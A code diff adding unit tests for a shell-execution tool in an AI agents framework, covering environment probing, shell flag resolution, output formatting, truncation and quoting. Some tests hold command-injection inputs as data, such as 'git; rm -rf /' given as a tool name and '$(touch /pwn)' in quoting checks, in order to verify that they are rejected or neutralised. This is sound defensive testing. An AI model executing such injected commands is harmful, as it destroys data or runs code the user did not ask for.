+        var result = await shell.RunAsync(script);
+        Assert.Contains("err-from-shell", result.Stderr, StringComparison.Ordinal);
+    }
+}

dotnet/tests/Microsoft.Agents.AI.Tools.Shell.UnitTests/Microsoft.Agents.AI.Tools.Shell.UnitTests.csproj

@@ -0,0 +1,12 @@
+<Project Sdk="Microsoft.NET.Sdk">
+
+  <PropertyGroup>
+    <!-- Override the default tests TFM list because the package itself only targets modern TFMs. -->
+    <TargetFrameworks>net10.0</TargetFrameworks>
+  </PropertyGroup>
+
+  <ItemGroup>
+    <ProjectReference Include="..\..\src\Microsoft.Agents.AI.Tools.Shell\Microsoft.Agents.AI.Tools.Shell.csproj" />
+  </ItemGroup>
+
+</Project>

dotnet/tests/Microsoft.Agents.AI.Tools.Shell.UnitTests/ShellEnvironmentProviderTests.cs

@@ -0,0 +1,384 @@
+// Copyright (c) Microsoft. All rights reserved.
+
+using System;
+using System.Collections.Generic;
+using System.Reflection;
+using System.Runtime.InteropServices;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.AI;
+
+namespace Microsoft.Agents.AI.Tools.Shell.UnitTests;
+
+/// <summary>
+/// Tests for <see cref="ShellEnvironmentProvider"/>. Most assertions go
+/// through a fake <see cref="ShellExecutor"/> so the tests are
+/// hermetic and don't depend on the host's installed CLIs.
+/// </summary>
+public sealed class ShellEnvironmentProviderTests
+{
+    [Fact]
+    public async Task RefreshAsync_OnPowerShellHost_ReportsPowerShellAsync()
+    {
+        if (!RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
+        {
+            return; // The default-detection path only fires PowerShell on Windows.
+        }
+
+        await using var shell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless });
+        var provider = new ShellEnvironmentProvider(shell, new() { ProbeTools = [] });
+        var snapshot = await provider.RefreshAsync();
+
+        Assert.Equal(ShellFamily.PowerShell, snapshot.Family);
+        Assert.False(string.IsNullOrWhiteSpace(snapshot.WorkingDirectory));
+        // Shell version probe runs `$PSVersionTable.PSVersion` — must be non-null on a real host.
+        Assert.False(string.IsNullOrWhiteSpace(snapshot.ShellVersion));
+    }
+
+    [Fact]
+    public async Task RefreshAsync_OnPosixHost_ReportsPosixAsync()
+    {
+        if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
+        {
+            return;
+        }
+
+        await using var shell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless });
+        var provider = new ShellEnvironmentProvider(shell, new() { ProbeTools = [] });
+        var snapshot = await provider.RefreshAsync();
+
+        Assert.Equal(ShellFamily.Posix, snapshot.Family);
+        Assert.False(string.IsNullOrWhiteSpace(snapshot.WorkingDirectory));
+    }
+
+    [Fact]
+    public void DefaultInstructionsFormatter_PowerShell_ContainsPowerShellIdioms()
+    {
+        var snapshot = new ShellEnvironmentSnapshot(
+            Family: ShellFamily.PowerShell,
+            OSDescription: "Windows 11",
+            ShellVersion: "7.4.0",
+            WorkingDirectory: @"C:\repo",
+            ToolVersions: new Dictionary<string, string?> { ["git"] = "git 2.46", ["docker"] = null });
+
+        var instructions = ShellEnvironmentProvider.DefaultInstructionsFormatter(snapshot);
+        Assert.Contains("PowerShell 7.4.0", instructions, StringComparison.Ordinal);
+        Assert.Contains("$env:NAME", instructions, StringComparison.Ordinal);
+        Assert.Contains("Set-Location", instructions, StringComparison.Ordinal);
+        Assert.Contains(@"C:\repo", instructions, StringComparison.Ordinal);
+        Assert.Contains("git (git 2.46)", instructions, StringComparison.Ordinal);
+        Assert.Contains("Not installed: docker", instructions, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void DefaultInstructionsFormatter_Posix_ContainsPosixIdioms()
+    {
+        var snapshot = new ShellEnvironmentSnapshot(
+            Family: ShellFamily.Posix,
+            OSDescription: "Ubuntu 22.04",
+            ShellVersion: "5.2",
+            WorkingDirectory: "/home/user/repo",
+            ToolVersions: new Dictionary<string, string?> { ["git"] = "git 2.43" });
+
+        var instructions = ShellEnvironmentProvider.DefaultInstructionsFormatter(snapshot);
+        Assert.Contains("POSIX", instructions, StringComparison.Ordinal);
+        Assert.Contains("export NAME=value", instructions, StringComparison.Ordinal);
+        Assert.Contains("/home/user/repo", instructions, StringComparison.Ordinal);
+        Assert.DoesNotContain("$env:", instructions, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task RefreshAsync_MissingTool_RecordedAsNullAsync()
+    {
+        await using var shell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless });
+        var provider = new ShellEnvironmentProvider(shell, new()
+        {
+            ProbeTools = ["definitely-not-a-real-binary-xyz123"],
+            ProbeTimeout = TimeSpan.FromSeconds(5),
+        });
+
+        var snapshot = await provider.RefreshAsync();
+        Assert.True(snapshot.ToolVersions.ContainsKey("definitely-not-a-real-binary-xyz123"));
+        Assert.Null(snapshot.ToolVersions["definitely-not-a-real-binary-xyz123"]);
+    }
+
+    [Fact]
+    public async Task ProvideAIContext_CustomFormatter_OverridesDefaultAsync()
+    {
+        var fake = new FakeShellExecutor(
+            new ShellResult("VERSION=1.0\nCWD=/tmp\n", "", 0, TimeSpan.Zero));
+        var options = new ShellEnvironmentProviderOptions
+        {
+            OverrideFamily = ShellFamily.Posix,
+            ProbeTools = [],
+            InstructionsFormatter = _ => "CUSTOM-INSTRUCTIONS",
+        };
+        var provider = new ShellEnvironmentProvider(fake, options);
+        var snapshot = await provider.RefreshAsync();
+        Assert.Equal("/tmp", snapshot.WorkingDirectory);
+
+        // ProvideAIContextAsync is protected; assert the formatter contract directly
+        // against the options instance the test owns.
+        var custom = options.InstructionsFormatter!(snapshot);
+        Assert.Equal("CUSTOM-INSTRUCTIONS", custom);
+    }
+
+    [Fact]
+    public async Task RefreshAsync_RecomputesSnapshotAsync()
+    {
+        var fake = new FakeShellExecutor(
+            new ShellResult("VERSION=1.0\nCWD=/a\n", "", 0, TimeSpan.Zero));
+        var provider = new ShellEnvironmentProvider(fake, new()
+        {
+            OverrideFamily = ShellFamily.Posix,
+            ProbeTools = [],
+        });
+
+        var first = await provider.RefreshAsync();
+        Assert.Equal("/a", first.WorkingDirectory);
+
+        fake.NextResult = new ShellResult("VERSION=2.0\nCWD=/b\n", "", 0, TimeSpan.Zero);
+        var second = await provider.RefreshAsync();
+        Assert.Equal("/b", second.WorkingDirectory);
+        Assert.Equal("2.0", second.ShellVersion);
+    }
+
+    [Fact]
+    public async Task RefreshAsync_ReProbesEachCallAsync()
+    {
+        var fake = new FakeShellExecutor(
+            new ShellResult("VERSION=1.0\nCWD=/x\n", "", 0, TimeSpan.Zero));
+        var provider = new ShellEnvironmentProvider(fake, new()
+        {
+            OverrideFamily = ShellFamily.Posix,
+            ProbeTools = [],
+        });
+
+        _ = await provider.RefreshAsync();
+        var probesAfterFirst = fake.RunCount;
+
+        await provider.RefreshAsync();
+        Assert.True(fake.RunCount > probesAfterFirst, "RefreshAsync should re-probe each call");
+    }
+
+    [Fact]
+    public async Task RefreshAsync_InvalidToolName_RecordedAsNullWithoutInvokingExecutorAsync()
+    {
+        var fake = new FakeShellExecutor(
+            new ShellResult("VERSION=1.0\nCWD=/\n", "", 0, TimeSpan.Zero));
+        var provider = new ShellEnvironmentProvider(fake, new()
+        {
+            OverrideFamily = ShellFamily.Posix,
+            ProbeTools = ["git; rm -rf /", "echo $PATH", "good-tool && bad"],
+        });
+
+        var snapshot = await provider.RefreshAsync();
+        // One probe for shell+CWD; none of the bogus tool names should reach the executor.
+        Assert.Equal(1, fake.RunCount);
+        Assert.Null(snapshot.ToolVersions["git; rm -rf /"]);
+        Assert.Null(snapshot.ToolVersions["echo $PATH"]);
+        Assert.Null(snapshot.ToolVersions["good-tool && bad"]);
+    }
+
+    [Fact]
+    public async Task RefreshAsync_DuplicateProbeToolsCaseInsensitive_ProbesOnceAsync()
+    {
+        // ProbeTools is user-supplied. With a case-insensitive backing dictionary,
+        // {"git","GIT"} used to probe twice and let the second insertion silently
+        // overwrite the first. Verify we now skip duplicates.
+        var fake = new ScriptedShellExecutor();
+        fake.Responses.Enqueue(new ShellResult("VERSION=1.0\nCWD=/\n", "", 0, TimeSpan.Zero)); // shell+cwd probe
+        fake.Responses.Enqueue(new ShellResult("git 2.46\n", "", 0, TimeSpan.Zero));          // first git probe
+        // No second probe response queued — if dedup is broken, the test will throw on dequeue.
+
+        var provider = new ShellEnvironmentProvider(fake, new()
+        {
+            OverrideFamily = ShellFamily.Posix,
+            ProbeTools = ["git", "GIT", "Git"],
+        });
+
+        var snapshot = await provider.RefreshAsync();
+        Assert.Single(snapshot.ToolVersions);
+        Assert.Equal("git 2.46", snapshot.ToolVersions["git"]);
+        Assert.Equal("git 2.46", snapshot.ToolVersions["GIT"]);
+    }
+
+    [Fact]
+    public async Task RefreshAsync_ToolEmitsVersionToStderr_FallsBackToStderrAsync()
+    {
+        // Some CLIs (e.g. java, older gcc) write `--version` output to stderr.
+        var fake = new ScriptedShellExecutor();
+        fake.Responses.Enqueue(new ShellResult("VERSION=1.0\nCWD=/\n", "", 0, TimeSpan.Zero)); // shell+cwd probe
+        fake.Responses.Enqueue(new ShellResult("", "openjdk 21.0.1 2023-10-17\n", 0, TimeSpan.Zero)); // tool probe
+
+        var provider = new ShellEnvironmentProvider(fake, new()
+        {
+            OverrideFamily = ShellFamily.Posix,
+            ProbeTools = ["java"],
+        });
+
+        var snapshot = await provider.RefreshAsync();
+        Assert.Equal("openjdk 21.0.1 2023-10-17", snapshot.ToolVersions["java"]);
+    }
+
+    private sealed class ScriptedShellExecutor : ShellExecutor
+    {
+        public Queue<ShellResult> Responses { get; } = new();
+        public override Task InitializeAsync(CancellationToken cancellationToken = default) => Task.CompletedTask;
+        public override Task<ShellResult> RunAsync(string command, CancellationToken cancellationToken = default) =>
+            Task.FromResult(this.Responses.Dequeue());
+        public override AIFunction AsAIFunction(string name = "run_shell", string? description = null, bool requireApproval = true) =>
+            throw new NotSupportedException();
+        public override ValueTask DisposeAsync() => default;
+    }
+
+    [Fact]
+    public async Task RefreshAsync_CallerCancellation_PropagatesAsync()
+    {
+        var fake = new ThrowingShellExecutor(token =>
+        {
+            token.ThrowIfCancellationRequested();
+            return new ShellResult("VERSION=1.0\nCWD=/x\n", "", 0, TimeSpan.Zero);
+        });
+        var provider = new ShellEnvironmentProvider(fake, new()
+        {
+            OverrideFamily = ShellFamily.Posix,
+            ProbeTools = [],
+        });
+
+        using var cts = new CancellationTokenSource();
+        cts.Cancel();
+
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(
+            () => provider.RefreshAsync(cts.Token));
+    }
+
+    [Fact]
+    public async Task RefreshAsync_ProbeTimeout_RecordedAsNullFieldsAsync()
+    {
+        // Executor honors the (linked) probe-timeout token by throwing OCE when it fires.
+        var fake = new ThrowingShellExecutor(token =>
+        {
+            token.WaitHandle.WaitOne(TimeSpan.FromSeconds(5));
+            token.ThrowIfCancellationRequested();
+            return new ShellResult("VERSION=1.0\nCWD=/\n", "", 0, TimeSpan.Zero);
+        });
+        var provider = new ShellEnvironmentProvider(fake, new()
+        {
+            OverrideFamily = ShellFamily.Posix,
+            ProbeTimeout = TimeSpan.FromMilliseconds(50),
+            ProbeTools = ["git"],
+        });
+
+        // Caller-side token stays alive; only the per-probe timeout fires.
+        var snapshot = await provider.RefreshAsync();
+        Assert.Null(snapshot.ShellVersion);
+        Assert.Null(snapshot.ToolVersions["git"]);
+    }
+
+    private sealed class ThrowingShellExecutor : ShellExecutor
+    {
+        private readonly Func<CancellationToken, ShellResult> _factory;
+        public ThrowingShellExecutor(Func<CancellationToken, ShellResult> factory) { this._factory = factory; }
+        public override Task InitializeAsync(CancellationToken cancellationToken = default) => Task.CompletedTask;
+        public override Task<ShellResult> RunAsync(string command, CancellationToken cancellationToken = default) =>
+            Task.FromResult(this._factory(cancellationToken));
+        public override AIFunction AsAIFunction(string name = "run_shell", string? description = null, bool requireApproval = true) =>
+            throw new NotSupportedException();
+        public override ValueTask DisposeAsync() => default;
+    }
+
+    [Fact]
+    public async Task ProvideAIContextAsync_FirstCallFails_NextCallRetriesAndSucceedsAsync()
+    {
+        // Reproduce the "poisoned _snapshotTask" scenario: the first probe throws
+        // (e.g. caller cancels, or an executor blip), and a subsequent call must
+        // be able to recover instead of returning the cached failure forever.
+        var calls = 0;
+        var fake = new ThrowingShellExecutor(_ =>
+        {
+            calls++;
+            if (calls == 1)
+            {
+                throw new InvalidOperationException("boom");
+            }
+            return new ShellResult("VERSION=2.0\nCWD=/tmp\n", "", 0, TimeSpan.Zero);
+        });
+        var provider = new ShellEnvironmentProvider(fake, new()
+        {
+            OverrideFamily = ShellFamily.Posix,
+            ProbeTools = [],
+        });
+
+        // First call surfaces the executor failure.
+        await Assert.ThrowsAnyAsync<Exception>(() => InvokeProvideAsync(provider));
+
+        // Second call must re-probe and succeed.
+        var ctx = await InvokeProvideAsync(provider);
+        Assert.NotNull(ctx.Instructions);
+        Assert.NotNull(provider.CurrentSnapshot);
+        Assert.Equal("2.0", provider.CurrentSnapshot!.ShellVersion);
+    }
+
+    [Fact]
+    public async Task ProvideAIContextAsync_FirstCallCancelled_NextCallSucceedsAsync()
+    {
+        // Round 6 made caller cancellation propagate. Combined with the cached
+        // _snapshotTask, a single Ctrl-C on the first turn used to permanently
+        // break the provider — verify that round 7's reset clears that.
+        var calls = 0;
+        var fake = new ThrowingShellExecutor(token =>
+        {
+            calls++;
+            if (calls == 1)
+            {
+                token.ThrowIfCancellationRequested();
+            }
+            return new ShellResult("VERSION=3.0\nCWD=/x\n", "", 0, TimeSpan.Zero);
+        });
+        var provider = new ShellEnvironmentProvider(fake, new()
+        {
+            OverrideFamily = ShellFamily.Posix,
+            ProbeTools = [],
+        });
+
+        using var cts = new CancellationTokenSource();
+        cts.Cancel();
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => InvokeProvideAsync(provider, cts.Token));
+
+        var ctx = await InvokeProvideAsync(provider);
+        Assert.NotNull(ctx.Instructions);
+        Assert.Equal("3.0", provider.CurrentSnapshot!.ShellVersion);
+    }
+
+    /// <summary>
+    /// Invokes the protected <c>ProvideAIContextAsync</c> via reflection so tests
+    /// can target the cached-task code path directly. <see cref="ShellEnvironmentProvider"/>
+    /// is sealed, so we cannot derive a public passthrough.
+    /// </summary>
+    private static async Task<AIContext> InvokeProvideAsync(ShellEnvironmentProvider provider, CancellationToken ct = default)
+    {
+        var method = typeof(ShellEnvironmentProvider).GetMethod(
+            "ProvideAIContextAsync",
+            BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.Public)
+            ?? throw new InvalidOperationException("ProvideAIContextAsync not found");
+        var task = (ValueTask<AIContext>)method.Invoke(provider, new object?[] { null, ct })!;
+        return await task.ConfigureAwait(false);
+    }
+
+    private sealed class FakeShellExecutor : ShellExecutor
+    {
+        public FakeShellExecutor(ShellResult result) { this.NextResult = result; }
+        public ShellResult NextResult { get; set; }
+        public int RunCount { get; private set; }
+        public override Task InitializeAsync(CancellationToken cancellationToken = default) => Task.CompletedTask;
+        public override Task<ShellResult> RunAsync(string command, CancellationToken cancellationToken = default)
+        {
+            this.RunCount++;
+            return Task.FromResult(this.NextResult);
+        }
+        public override AIFunction AsAIFunction(string name = "run_shell", string? description = null, bool requireApproval = true) =>
+            throw new NotSupportedException();
+        public override ValueTask DisposeAsync() => default;
+    }
+}

dotnet/tests/Microsoft.Agents.AI.Tools.Shell.UnitTests/ShellResolverTests.cs

@@ -0,0 +1,67 @@
+// Copyright (c) Microsoft. All rights reserved.
+
+namespace Microsoft.Agents.AI.Tools.Shell.UnitTests;
+
+/// <summary>
+/// Tests for <see cref="ShellResolver.ResolveArgv"/>: bash-only flags like
+/// <c>--noprofile</c> / <c>--norc</c> must only be passed to bash; other
+/// POSIX shells (sh, zsh, dash, ash, ksh, busybox) reject or mishandle them.
+/// </summary>
+public class ShellResolverTests
+{
+    private static readonly string[] s_shCommandArgv = new[] { "-c", "echo hi" };
+    private static readonly string[] s_bashCommandArgv = new[] { "--noprofile", "--norc", "-c", "echo hi" };
+    private static readonly string[] s_bashPersistentArgv = new[] { "--noprofile", "--norc" };
+
+    private static ResolvedShell ResolveSingle(string binary) => ShellResolver.ResolveArgv(new[] { binary });
+
+    [Theory]
+    [InlineData("/bin/sh")]
+    [InlineData("/bin/dash")]
+    [InlineData("/bin/ash")]
+    [InlineData("/usr/bin/busybox")]
+    [InlineData("/usr/bin/zsh")]
+    [InlineData("/bin/ksh")]
+    public void ShVariants_StatelessArgv_OmitBashOnlyFlags(string binary)
+    {
+        var argv = ResolveSingle(binary).StatelessArgvForCommand("echo hi");
+
+        Assert.Equal(s_shCommandArgv, argv);
+        Assert.DoesNotContain("--noprofile", argv);
+        Assert.DoesNotContain("--norc", argv);
+    }
+
+    [Theory]
+    [InlineData("/bin/sh")]
+    [InlineData("/bin/dash")]
+    [InlineData("/bin/ash")]
+    [InlineData("/usr/bin/busybox")]
+    [InlineData("/usr/bin/zsh")]
+    [InlineData("/bin/ksh")]
+    public void ShVariants_PersistentArgv_OmitBashOnlyFlags(string binary)
+    {
+        var argv = ResolveSingle(binary).PersistentArgv();
+
+        Assert.Empty(argv);
+    }
+
+    [Theory]
+    [InlineData("/bin/bash")]
+    [InlineData("/usr/local/bin/bash")]
+    public void BashVariants_StatelessArgv_IncludeBashFlags(string binary)
+    {
+        var argv = ResolveSingle(binary).StatelessArgvForCommand("echo hi");
+
+        Assert.Equal(s_bashCommandArgv, argv);
+    }
+
+    [Theory]
+    [InlineData("/bin/bash")]
+    [InlineData("/usr/local/bin/bash")]
+    public void BashVariants_PersistentArgv_IncludeBashFlags(string binary)
+    {
+        var argv = ResolveSingle(binary).PersistentArgv();
+
+        Assert.Equal(s_bashPersistentArgv, argv);
+    }
+}

dotnet/tests/Microsoft.Agents.AI.Tools.Shell.UnitTests/ShellResultTests.cs

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+// Copyright (c) Microsoft. All rights reserved.
+
+using System;
+
+namespace Microsoft.Agents.AI.Tools.Shell.UnitTests;
+
+/// <summary>
+/// Branch coverage for <see cref="ShellResult.FormatForModel"/>. The output of
+/// this method is what the language model sees, so regressions directly
+/// affect agent behavior.
+/// </summary>
+public sealed class ShellResultTests
+{
+    [Fact]
+    public void FormatForModel_Success_IncludesStdoutAndExitCode()
+    {
+        var r = new ShellResult("hello\n", string.Empty, 0, TimeSpan.FromMilliseconds(5));
+        var s = r.FormatForModel();
+        Assert.Contains("hello", s, StringComparison.Ordinal);
+        Assert.Contains("exit_code: 0", s, StringComparison.Ordinal);
+        Assert.DoesNotContain("stderr:", s, StringComparison.Ordinal);
+        Assert.DoesNotContain("[stdout truncated]", s, StringComparison.Ordinal);
+        Assert.DoesNotContain("[command timed out]", s, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void FormatForModel_EmptyStdout_OmitsStdoutBlock()
+    {
+        var r = new ShellResult(string.Empty, string.Empty, 0, TimeSpan.Zero);
+        var s = r.FormatForModel();
+        // No stdout block, no stderr block — just the exit code line.
+        Assert.Equal("exit_code: 0", s);
+    }
+
+    [Fact]
+    public void FormatForModel_NonEmptyStderr_IncludesStderrLabel()
+    {
+        var r = new ShellResult(string.Empty, "boom\n", 1, TimeSpan.Zero);
+        var s = r.FormatForModel();
+        Assert.Contains("stderr: boom", s, StringComparison.Ordinal);
+        Assert.Contains("exit_code: 1", s, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void FormatForModel_Truncated_AppendsTruncatedMarker()
+    {
+        var r = new ShellResult("partial-output", string.Empty, 0, TimeSpan.Zero, Truncated: true);
+        var s = r.FormatForModel();
+        Assert.Contains("[stdout truncated]", s, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void FormatForModel_TimedOut_AppendsTimedOutMarker()
+    {
+        var r = new ShellResult(string.Empty, string.Empty, 124, TimeSpan.FromSeconds(30), TimedOut: true);
+        var s = r.FormatForModel();
+        Assert.Contains("[command timed out]", s, StringComparison.Ordinal);
+        Assert.Contains("exit_code: 124", s, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void FormatForModel_TruncatedButEmptyStdout_DoesNotEmitMarker()
+    {
+        // Marker is only emitted inside the stdout block; with empty stdout
+        // there's no block to attach it to.
+        var r = new ShellResult(string.Empty, "err\n", 1, TimeSpan.Zero, Truncated: true);
+        var s = r.FormatForModel();
+        Assert.DoesNotContain("[stdout truncated]", s, StringComparison.Ordinal);
+        Assert.Contains("stderr: err", s, StringComparison.Ordinal);
+    }
+}

dotnet/tests/Microsoft.Agents.AI.Tools.Shell.UnitTests/ShellSessionTests.cs

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+// Copyright (c) Microsoft. All rights reserved.
+
+using System;
+
+namespace Microsoft.Agents.AI.Tools.Shell.UnitTests;
+
+/// <summary>
+/// Direct coverage for <see cref="ShellSession.TruncateHeadTail"/> (internal,
+/// reachable via InternalsVisibleTo). The function is on the hot path for
+/// every shell command — both LocalShellExecutor and DockerShellExecutor feed
+/// captured stdout/stderr through it before returning.
+/// </summary>
+public sealed class ShellSessionTests
+{
+    [Fact]
+    public void QuotePosix_NoSpecialChars_WrapsInSingleQuotes()
+    {
+        Assert.Equal("'/tmp/work'", ShellSession.QuotePosix("/tmp/work"));
+    }
+
+    [Fact]
+    public void QuotePosix_DollarBacktickAndCommandSubstitution_ProducesLiteralString()
+    {
+        // The whole point: these substrings must NOT be interpreted by sh.
+        Assert.Equal("'/tmp/$(touch /pwn)'", ShellSession.QuotePosix("/tmp/$(touch /pwn)"));
+        Assert.Equal("'/tmp/$VAR'", ShellSession.QuotePosix("/tmp/$VAR"));
+        Assert.Equal("'/tmp/`id`'", ShellSession.QuotePosix("/tmp/`id`"));
+    }
+
+    [Fact]
+    public void QuotePosix_EmbeddedSingleQuote_ClosesAndReopens()
+    {
+        // POSIX: single-quoted strings cannot contain a single quote, so we close,
+        // emit an escaped quote, and reopen: a' -> 'a'\''b' -> a'b literal.
+        Assert.Equal("'a'\\''b'", ShellSession.QuotePosix("a'b"));
+    }
+
+    [Fact]
+    public void QuotePowerShell_DollarAndSubexpression_ProducesLiteralString()
+    {
+        Assert.Equal("'C:\\$(throw)'", ShellSession.QuotePowerShell("C:\\$(throw)"));
+        Assert.Equal("'C:\\$env:PATH'", ShellSession.QuotePowerShell("C:\\$env:PATH"));
+    }
+
+    [Fact]
+    public void QuotePowerShell_EmbeddedSingleQuote_DoublesIt()
+    {
+        // PowerShell: 'a''b' is the literal string a'b.
+        Assert.Equal("'a''b'", ShellSession.QuotePowerShell("a'b"));
+    }
+
+    [Fact]
+    public void TruncateHeadTail_UnderCap_ReturnsInputUnchanged()
+    {
+        const string Input = "short";
+        var (text, truncated) = ShellSession.TruncateHeadTail(Input, cap: 1024);
+        Assert.Equal(Input, text);
+        Assert.False(truncated);
+    }
+
+    [Fact]
+    public void TruncateHeadTail_ExactlyAtCap_ReturnsInputUnchanged()
+    {
+        var input = new string('x', 100);
+        var (text, truncated) = ShellSession.TruncateHeadTail(input, cap: 100);
+        Assert.Equal(input, text);
+        Assert.False(truncated);
+    }
+
+    [Fact]
+    public void TruncateHeadTail_OverCap_TruncatesAndIncludesMarker()
+    {
+        var input = "HEAD" + new string('x', 1000) + "TAIL";
+        var (text, truncated) = ShellSession.TruncateHeadTail(input, cap: 20);
+        Assert.True(truncated);
+        Assert.Contains("[... truncated", text, StringComparison.Ordinal);
+        Assert.Contains("HEAD", text, StringComparison.Ordinal);
+        Assert.Contains("TAIL", text, StringComparison.Ordinal);
+        // Truncated output is roughly cap + marker chars; confirm it's much
+        // smaller than the input.
+        Assert.True(text.Length < input.Length);
+    }
+
+    [Fact]
+    public void TruncateHeadTail_EmptyString_ReturnsEmpty()
+    {
+        var (text, truncated) = ShellSession.TruncateHeadTail(string.Empty, cap: 10);
+        Assert.Equal(string.Empty, text);
+        Assert.False(truncated);
+    }
+
+    [Fact]
+    public void TruncateHeadTail_MultiByteUtf8_RespectsByteBudgetAndRuneBoundaries()
+    {
+        // Each "🔥" is 4 UTF-8 bytes (and 2 UTF-16 code units). 50 of them = 200 bytes.
+        var input = string.Concat(System.Linq.Enumerable.Repeat("🔥", 50));
+        Assert.Equal(200, System.Text.Encoding.UTF8.GetByteCount(input));
+
+        var (text, truncated) = ShellSession.TruncateHeadTail(input, cap: 40);
+
+        Assert.True(truncated);
+
+        // Result must round-trip through UTF-8 unchanged: no rune was split.
+        var roundTripped = System.Text.Encoding.UTF8.GetString(System.Text.Encoding.UTF8.GetBytes(text));
+        Assert.Equal(text, roundTripped);
+
+        // The retained head + tail content must not exceed the byte budget.
+        // (The marker line is appended on top of that budget, by design.)
+        var marker = text[text.IndexOf('\n', StringComparison.Ordinal)..text.LastIndexOf('\n')];
+        var preserved = text.Replace(marker, string.Empty, StringComparison.Ordinal).Replace("\n", string.Empty, StringComparison.Ordinal);
+        Assert.True(System.Text.Encoding.UTF8.GetByteCount(preserved) <= 40);
+    }
+
+    [Fact]
+    public void TruncateHeadTail_NonAsciiAtBoundary_DoesNotProduceReplacementChar()
+    {
+        // 4-byte UTF-8 emoji surrounded by ASCII; cap chosen so naive char-based
+        // truncation would have split a surrogate pair. The new implementation
+        // must skip the rune that doesn't fit instead of emitting U+FFFD.
+        const string Input = "AAAA🔥BBBBCCCC🔥DDDD";
+        var (text, _) = ShellSession.TruncateHeadTail(Input, cap: 8);
+
+        Assert.DoesNotContain("\uFFFD", text);
+    }
+
+    [Fact]
+    public void TruncateHeadTail_UnpairedHighSurrogate_DoesNotMisalignByteCount()
+    {
+        // An unpaired high surrogate (no following low surrogate) used to make the
+        // prefix walker advance by 2 chars and miscount bytes. Verify that the
+        // function completes, returns a sensible result, and respects the cap.
+        var input = "AAAA" + new string('\uD83D', 1) + "BBBB"; // lone high surrogate
+        var (text, _) = ShellSession.TruncateHeadTail(input, cap: 6);
+
+        // The encoder substitutes U+FFFD for the unpaired surrogate when emitting bytes,
+        // so we just check that the call did not overrun and produced a result that
+        // round-trips through UTF-8.
+        var rt = System.Text.Encoding.UTF8.GetString(System.Text.Encoding.UTF8.GetBytes(text));
+        Assert.Equal(text, rt);
+    }
+}